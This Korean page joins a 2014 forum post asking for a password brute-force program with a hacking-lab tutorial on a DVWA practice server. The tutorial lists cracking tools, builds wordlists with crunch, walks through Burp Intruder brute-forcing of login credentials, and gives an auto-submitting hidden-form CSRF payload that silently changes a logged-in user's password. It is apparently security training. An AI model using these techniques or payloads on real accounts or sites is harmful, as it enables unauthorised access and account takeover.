비밀번호 대입 프로그램 - bimilbeonho daeib peulogeulaem

비밀번호 무작위 대입 프로그램이 있을까요? 1

2014-12-09 23:07:26 124.♡.152.253

** 이 게시판은 댓글이 달리면 게시물을 삭제할 수 없습니다. **
** 내용의 장기노출이 곤란한 경우 [수정]을 통해 내용을 변경하시기 바랍니다. **

아는분이 파일의 비밀번호를 칮어버리셨는데 이게 PDF도 압축파일도 아니라 맞는 프로그램이 없네요

구글링을 해도 압축파일, pdf, 엑셀 비밀번호 푸는 프로그램만 나오고요..

제가 원하는 프로그램은 비밀번호 묻는 창에 "입력, 엔터"를 비밀번호 찾을때까지 반복을 하되

아래와 같은 프로그램 처럼

http://hoonsubin.blog.me/90154806471

알파벳, 숫자, 특문 선택이 가능하고 최소숫자 자리, 최대 숫자 자리 설정이 가능했으면 좋겠습니다.

댓글 • [1] 을 클릭하면 간단한 회원메모를 할 수 있습니다.

bekseju

IP 211.♡.103.30

14-12-10 2014-12-10 02:09:23 / 수정일: 2017-04-30 13:01:27

·

GIF 파일 다운로드

0 0 0 0

GIF 파일을 다운로드 받으려면
화면에 표시된 4자리 번호를 입력해주세요.

- Kali, Meta, Win10

@ Password Crack ( Brute Force )

Password Crack 이란?

비밀번호를 해킹, 찾아내는 걸 말하며,

Brute Force 라는 방법을 통해 해볼 예정이다.

이때, Brute Force 라는 방법은 예를들어 비밀번호가 999 라면,

001, 002, 003, 004 ~ 997, 998, 999

이런식으로 일일이 전부 대입하는 무식한 방법이기 때문에,

시간이 오래걸리고,

해당 패스워드 크랙킹에 사용할 데이터베이스가 필요하다.

그리고 실제 사이트에서하면, 요새는 비밀번호가 대문자, 특수문자 등등을 포함하고

7자~8자 이상으로 설정해야하기 때문에, 굉장한시간과, 어마어마한 데이터베이스가 필요하다.

( 실사이트에선 Brute force 방법으로 하면 못하거나, 굉장히 오래걸릴 확률이 높음 )

( 이러한 데이터베이스를 돈받고 팔기도한다. )

@ 정보수집

google -> password crack tools 검색

10 Most Popular Password Cracking Tools 사이트 클릭.

 ( https://resources.infosecinstitute.com/10-popular-password-cracking-tools/#gref )

그럼, Password Cracking 은 무엇이며, 어떠한 툴들이 존재하는지 나온다!

- Password cracking tool 은 Windows 베이스냐, Linux 베이스냐 에 따라 조금다르다.

- Brutus

가장 널리 사용되는 원격온라인 암호 크랙킹도구,

무료이며, Windows 시스템에서만 사용가능

-RainbowCrack

해쉬 크랙커 툴 이며,

빠른 크랙킹을위해 large-scale time-memory trade

프로세스를 사용한다.

- Wfuzz

무차별 공격으로 암호를 해독하려고 시도하는 또 다른 웹 응용 프로그램 암호크랙킹도구

- Cain and  abel

Windows 플랫폼에서만 사용가능한 암호해독도구

( NTLM 해시 해독가능 )

- John the Ripper

Linux, Unix 및 Mac OS X 용으로 널리 알려진 또 다른 무료 오픈 소스 암호 크랙킹도구

( Windows 버전도 사용 가능 )

- The Hydra

빠른 네트워크 로그온 암호 크랙킹 도구 ( Win, Linux, Free BSD 등 사용가능 )

- Medusa

암호해독도구

- OphCrack

windows용 무료 rainbow-table 기반 암호 해독 도구

가장 널리 사용되는 Windows 암호 크래킹 도구이지만

Linux 및 Mac 시스템에서도 사용 가능.

LM, NTLM 해시 해독가능

- L0phtCrack

OphCrack의 대안,

해시에서 Windows 암호를 해독하려고 시도한다.

- Aircrack-NG

WEP 또는 WPA 암호를 해독 할 수있는 WiFi 암호 크랙킹 도구

무선 암호화 된 패킷을 분석 한다음 크래킹 알고리즘을 통해 암호를 해독하려고 시도함.

Linux 및 Windows 시스템에서 사용가능

@ kali 터미널

#hydra

( 데이터 베이스로 사용할 패스워드 리스트에 데이터가 많아야 (용량이 커야) 크랙킹이 성공할 확률이 높아진다. )

( BruteForce 방식으로 크랙킹하는 것은, 시간싸움, 데이터베이스 싸움이다. )

Kali 에선 패스워드 리스트 (DB) 를 만드는 툴도 제공.

#crunch    ( #man crunch )

패스워드의길이, 패턴, 옵션을 주면 실제 패스워드 크랙에 사용할수있는 데이터베이스를 폼을돌려서 자동으로 만들어냄

( 작게 만들면 의미가 없음, 요새는 대문자, 특수문자에 7자이상으로 만들기때문. )

#crunch [min] [max] [options] 대로 커맨드를 사용하면 된다.

기본적으로 사용될 문자를 적어주지않으면 알파벳으로만 작성된다.

( ex #crunch 1 2 = a, b, c ~ ab, ac ~ zz )

-o (아웃풋 지정) : 파일의 저장 위치를 결정한다.

-t (type) : 특정 타입에 패스워드를 대입한다.

( ex #crunch 2 2 -t a@  : aa, ab, ac ~ az )

( 이때 타입에 a@ 라고 2개의 문자를 지정해 줬으므로, 최소, 최대 문자는 같은 2가 되야함 )

-i (invert) 결과적으로 값은 같지만, 출력을 반전합니다.

( 간단하게 생각하시면 -i 를 쓰지 않은 결과값이 abc 라면 뒤에서부터 읽어서 cba 로 출력된다고 생각하시면됩니다.

( ex #crunch 1 3 abc -i  

no invert : ~ aaa, aab, aac

invert ~ aaa, baa, caa

( 단순히 원래 결과값을 뒤집는다고 생각하면 쉬움 : 만약 12345 라면 ? -i 옵션을 쓰면 54321 이 먼저나옴, 그렇다고해서 -i 쓴것과 안쓴것과의 데이터 수 의 차이는없다. )

#crunch 5 5 123abc$ -i  -t a@@@b -o ./passwordlist.txt

( 타입을 a@@@b 로 지정해줬기 때문에, 최소, 최대문자를 5로 해주어야하고,

@는 모든 문자가 들어가도 된다는 뜻입니다. )

( 그럼, a111b 부터, a$$$b 까지 데이터가 -i ( 반전 ) 되어 passwordlist.txt 라는 파일로 생성이 됩니다. )

#vi passwordlist.txt 

a111b

a211b

( 원래 -i 를 하지 않았다면 a111b -> a112b 가 되어야함, 하지만 -i 로 인해 a211b가 됨)

( 이때 우리가 지정한 타입 a@@@b 에서 a, b는 고정 이기때문에 -i 의 영향을 받지 않음 )

#crunch 1 3 -o text.txt

#ls

#less text.txt

#crunch 3 3 -t a@b -o text1.txt &

#less text1.txt

#cd /usr/share/wordlists

#ls

#cd dirb ( 실제 웹사이트를 긁어올수있는 툴 )

#ls

dirb라는 툴에서 사용할수있는 딕셔너리(db)들.

#head big.txt


#ls -l

툴에서 사용하기위해 딕셔너리파일들을 사용중.

#cd ..

#cd dirbuster

#ls

디렉터리 리스트 라고 보면됨!

우리도 이제, 패스워드 크랙킹을 위해 하려면 딕셔너리 리스트 ( 사전파일, DB ) 를 만들어 놔야함.

#cd ~

#mkdir /pentest

#cd /pentest

- passwordlist ( 사전파일 ) 작성

#cat > passwordlist.txt

password

Password

Passw0rd

P@ssword

admin

passwordadmin

adminpass

[ctrl + d]  (저장)

#cat passwordlist.txt

예제 password db 완성

- userlist ( id 찾기에 사용될 db, 사전파일 생성 )

#cat > userlist.txt

root

kevin

alice

admin

administrator

helen

trump

[ctrl + d]

예제 user db 완성

@ kali

proxy (burp suite) -> intercept is off -> firefox

-> http://meta/dvwa/ -> admin, password login ->  security level low ->

Brute Force ( 무차별 대입 공격, 암호의 경우의수를 무식하게 대입해 풀어내는 암호 크랙킹 기법 )

-> Username : admin , Password : 123 -> Login -> 로그인 실패

-> URL 을 보니 GET 방식으로 동작하는걸 확인 가능 -> URL 복사

->  

http://meta/dvwa/vulnerabilities/brute/?username=admin&password=123&Login=Login#

->

meta/dvwa/vulnerabilities/brute/?username=admin&password=password&Login=Login#

Get 방식 이기 때문에, 위처럼 url 에 붙여넣으면 로그인이 되는 것을 확인 가능

-> 우리는 비밀번호를 모른다고 가정하고 진행

-> Proxy (burp suite) -> Intruder -> Payloads ->

-> Payload options -> load... ->  /pentest/passwordlist.txt -> open

( passwordlist.txt 파일과 서버의 비밀번호 데이터베이스랑 비교해서 알아오게됨 )

-> load...-> userlist.txt -> open

 ->

Start attack 누르면 이제 값을 알아오는건데, 아직 intercept 를 하지 않았으므로 아래 과정진행

패스워드를 모른다고 가정

-> intercept is on

-> firefox ( Brute Force 로그인 창 ) -> 

admin , 123 -> login ( security level low 인지 확인 )

-> burp suite -> Intercept 창에서 로그인 정보가 나와있는 패킷 우클릭 -> send to intruder

-> Intruder -> Positions -> 여기서이제 우리는 GET 부분의 password= 부분을 알아내야한다.

-> Attack type : Sniper 인지 확인 

-> 오른쪽 옵션중 Clear$ 클릭 -> password= 뒤에 123 (비밀번호) 부분만 선택되게 드래그 혹은 123에 대고 더블 클릭 -> Add $ 클릭 -> $123$ 된 것을 확인.

-> Payloads 탭으로 이동 -> Payload options -> Load... ->

passwordlist open -> Start attack -> 에러창 그냥 OK 클릭으로 무시 ->

그러면 무차별 공격이 시작되어 결과값이 있는 창이 뜬다.

여기서 Length 를 보면 혼자 다른(높은) 값이 있을 것이다. 그값인 Payload ( 비밀번호 ) 가

실제 비밀번호 인 것이다!

그럼이제 password 가 패스워드 인것을 알았다.

-> Intruder attack 창 끄기 -> proxy로 가서 로그인 패킷 드랍 시켜버리기 -> intercept is off

-> dvwa로 가서 아까알아낸 비번으로 로그인 하면 끝!

- 비밀번호 변경후 실습 (테스트)

1. intercept off ->

firefox -> http://meta/dvwa -> CSRF (비밀번호 변경가능) -> Password 로 변경 ( 맨앞자만 대문자로변경 )

이때! Passwordlist 에 있는 패스워드로 변경하거나, 아니면 변경한 패스워드를 passwordlist로 넣어줘야한다. 아니면 찾지못한다!

-> Brute Force  -> intercept on -> username : admin , password: 123 -> login

-> proxy -> 계정정보 들어있는패킷 우클릭 ->  send to intruder ->

Intruder -> Positions -> Clear $ 로 모든 $ 제거 -> 비밀번호 123 부분 드래그 -> ADD$ -> Payloads -> Load -> Passwordlist.txt -> open -> Start Attack ->

Length 가 제일 높은값(다른값)이 패스워드!

- ID, password 둘다 모른다고 가정

-> intercept is off ->

brute force - > intercept on -> root, 1234 -> login ->

proxy -> send to intruder -> Intruder ->  Positions ->

attack type : cluster bomb -> clear $

-> root, 1234 에 add$ ( root와 패스워드를 어택 ) ->

payloads ->  payload sets -> Payload set 1, Payload type simple list -> load -> userlist open ->

payloads set 2 -> simple list -> loads -> passwordlist open ->

2개의 값을 비교하는 것 -> Start Attack

( 크로스조인 방식 ( 일일이 대입 방식 ) 으로 조금 오래걸림,  패스워드100 개 아이디100개면 100x100 번  을 해야함 )

-> Length 클릭 (sort) -> 4938 ( 가장큰값, 다른값 ) 을보니 admin, password가 정확히나옴

이런식으로 ID, PW 를 크랙가능

실제로 정말모르는 패스워드, 아이디를 알아내려면 DB싸움 ( 실습과정 에선 거의 못알아냄 )

( 브루트 포스, 대량공격방법이기때문에 시간이 굉장히 많이걸림 )

id 같은경우는 영어가많으므로 영어로된이름데이터를 많이만들기,

관리자많이 쓸만한 패스워드를 데이터 를 많이만들기

이런식으로 못알아낸다라면 와이어샤크를 걸어놓고 계속하이재킹해서 모니터링 하는수밖에 없음 ( 누군가가 언젠가로그인할때 와이어샤크를 통해 찾아내야함 )

( 최소한 ID 라도 알아낼 수 있음 ) ( 패스워드만 찾아야되면 훨씬더쉽기때문 )

( 리눅스의경우 관리자 계정을 root로 고대로 사용하는건 절대적으로 안됨.. 비추 )

( 그래서 root 계정이 비활성화 되있는 배포판도있음, ssh 등으로 접속 못하게 )

( 윈도우도 administrator 도 비활성화 시켜놓고 쓰는게 좋음 , 하지만 윈도우의경우는 관리자가 아니면 못하는 작업도 있음으로 초기에 관리자로 셋업을 다해놓고 관리자를 막아놓는게 좋음 )

CSRF 로 가서 다시 비밀번호 password 로 바꾸기

---

intercept off

firefox -> csrf

@CSRF ( Cross Site Request Forgery ) ( 사이트 사이의 요청 위조 )

사용자의 의지와 상관없이 공격자가 의도한 대로 행위하도록 하는 것

( 행위 : 패스워드 수정, 삭제 ... ) ( XSS stored 와 비슷하다. )

( 사례: 옥션이 이공격에 당해서 어드민 계정이 털렸었음, 메일에 스크립트를 보내서 메일을 읽게해서, 메일을 읽으면 그안에 웹서버의 패스워드를 변경하는 코드가 들어있다. )

setup -> Create / Reset Database -> CSRF ->

222222 로 pw 변경.

-> URL 확인

->

http://meta/dvwa/vulnerabilities/csrf/?password_new=222222&password_conf=222222&Change=Change#

-> CSRF 탭에서 New password 의 빈칸 부분 우클릭 ->  Inspect element ->

그러면 선택된 코드에서 3칸위 의 <form action .... 부터  내리다보면

</form> 까지가 form 문으로서, 아이디와, 비밀번호를 받아서 db에게 변경을 요청하는 구간이다.

<form action.... 부분을 우클릭 -> Edit As HTML 클릭  ( 복사, 아래의 내용과 같음 )

<form action="#" method="GET">    New password:<br>

   <input autocomplete="off" name="password_new" type="password"><br>

   Confirm new password: <br>

   <input autocomplete="off" name="password_conf" type="password">

   <br>

   <input value="Change" name="Change" type="submit">

   </form>

kali-> leafpad에 위의 form문 붙여넣기

file -> save as -> desktop , name : changepass.html -> save

dvwa logout ( intercept off ) -> admin, 222222 로그인 ( 패스워드 변경 확인 )

->

아까 붙여넣기한 Leafpad 로 다시이동

-> 아래와 같이 수정

<form action="http://meta/dvwa/vulnerabilities/csrf/" method="GET">    New password:<br>

   <input autocomplete="off" name="password_new" type="password"><br>

   Confirm new password: <br>

   <input autocomplete="off" name="password_conf" type="password">

   <br>

   <input value="Change" name="Change" type="submit">

   </form>

위처럼 수정후 file -> save

->

Kali 바탕화면 -> changepass.html 더블클릭

( 그럼 나오는 화면의 url 은 단순히 파일위치이다. )

패스워드 변경창이 나온다? ->

333333 으로 change  -> 패스워드 변경 됬다고나옴

logout 후 -> admin, 333333 으로 로그인시도

html 만 따서 했는데도 패스워드가 변경됨.

changepass.html 파일로 원래 비번 password 로 변경 후 -> dvwa 로그아웃 -> dvwa 로그인 확인


leafpad 로 들어가서 changepass.html 파일을 open -> save as -> changepass1.html -> save

아래처럼 변경후

<form id=f1 action="http://meta/dvwa/vulnerabilities/csrf/" method="GET">  

   <input type="hidden" autocomplete="off" name="password_new" value="444444"><br>

   <input type="hidden" autocomplete="off" name="password_conf" value="444444">

   <br>

   <input value="Change" name="Change" type="hidden">

   </form>

<script>document.getElementById('f1').submit();</script>

( 자바스크립트 를 배워야 알수있는 내용 )

( 비밀번호 변경창을 띄우지않고 파일이 실행되면 비밀번호를 444444로 변경하는 코드 )

file -> save 

바탕화면 -> changepass1 더블클릭 -> 그럼 html 파일만 들어갔을 뿐인데,

코드에 적어놓은 444444비번으로 바뀜 -> 로그아웃 ->로그인으로 확인

실습 다했다면

CSRF 에서 password ( 원래비번 ) 으로변경!